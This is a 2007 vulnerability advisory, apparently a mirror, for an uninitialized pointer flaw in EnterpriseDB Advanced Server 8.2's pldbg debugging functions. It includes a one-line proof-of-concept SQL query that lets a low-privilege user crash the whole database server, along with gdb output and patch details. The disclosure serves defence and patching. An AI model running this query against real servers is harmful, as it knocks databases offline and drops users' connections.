Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:17916
HistoryAug 29, 2007 - 12:00 a.m.

EnterpriseDB Advanced Server 8.2 Unitialized Pointer

2007-08-2900:00:00
vulners.com
35

EnterpriseDB Advanced Server 8.2 Unitialized Pointer

Product Description:

EnterpriseDB is a (comercial) relational database management system
based on PostgreSQL.

Vulnerable Versions:

EnterpriseDB Advanced Server 8.2 in all supported operative systems.

Tested Operative Systems:

    Microsoft Windows 2003 SP2 x86
    Red hat Enterprise Linux 4 x86

Vulnerability Details:

A problem was found in the product EnterpriseDB which may lead to remote
code execution altought that point wasn't demostrated. At least, it is a
denial of service.

The issue exists in, almost, all the debugging functions (so is a
post-authentication vulnerability), i.e., pldbg_get_stack. The function
"pldbg_create_listener" is the responsible of starting the debug process
and must be the first function called before the client sends any
debugging command.

The problem is that, when you call any debugging related function
before the call to the main "pldbg_create_listener" an unitialized
pointer is used causing a DOS (denial of service) that leads to remote
code execution.

Proof of concept:

1) Connect to one vulnerable EnterpriseDB as a low level user (the
execution privilege over the pldbg_* function is granted by default).
2) Execute the following query:

edb=> select pldbg_abort_target(1094861636); – 0x41424344 in decimal

(gdb) where
#0 0x00ba81db in sendBytes ()
from /opt/EnterpriseDB/8.2/dbserver/lib/pldbgapi.so
#1 0x00ba82a1 in sendUInt32 ()
from /opt/EnterpriseDB/8.2/dbserver/lib/pldbgapi.so
#2 0x00ba82e3 in sendString ()
from /opt/EnterpriseDB/8.2/dbserver/lib/pldbgapi.so
#3 0x00ba8880 in pldbg_abort_target ()
from /opt/EnterpriseDB/8.2/dbserver/lib/pldbgapi.so
#4 0x0816669d in ExecMakeFunctionResult ()
#5 0x08168d51 in ExecProject ()
#6 0x0817544d in ExecResult ()
#7 0x08162f65 in ExecProcNode ()
#8 0x08161931 in ExecutorRun ()
#9 0x081fa2e3 in PortalRunSelect ()
#10 0x081fb12a in PortalRun ()
#11 0x081f5a8b in exec_simple_query ()
#12 0x081f76ec in PostgresMain ()
#13 0x081ca356 in ServerLoop ()
#14 0x081cb2b7 in PostmasterMain ()
#15 0x081865d7 in main ()
(gdb) x /i $pc
0xba81db <sendBytes+11>: mov (%eax),%eax
(gdb) i r
eax 0x41424344 1094861636
ecx 0x4 4
edx 0xbff46c04 -1074500604
ebx 0xbacbd8 12241880
esp 0xbff46bc0 0xbff46bc0
ebp 0xbff46be8 0xbff46be8
esi 0x4 4
edi 0xbab597 12236183
eip 0xba81db 0xba81db
eflags 0x10286 66182
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0

The complete database server (droping all active conections) crashes.

Patch information:

The issue was fixed by no longer exposing a direct pointer to the client
application; instead, the server sends an opaque handle to the client
and them validate each handle when it comes back to the debugger - if
the debugger detects an invalid handle, it throws an error.

The patch is available for customers in the EnterpriseDB website.

Thanks:

Thanks to Shahzad Khokhar, Vice President of Customer Support at
EnterpriseDB Corporation. He were very kind and professional.

Disclaimer:

The information in this advisory and any of its demonstrations is
provided "as is" without any warranty of any kind.

I am not liable for any direct or indirect damages caused as a result of
using the information or demonstrations provided in any part of this
advisory.

Contact:

Joxean Koret - joxeankoret[at]yahoo[dot]es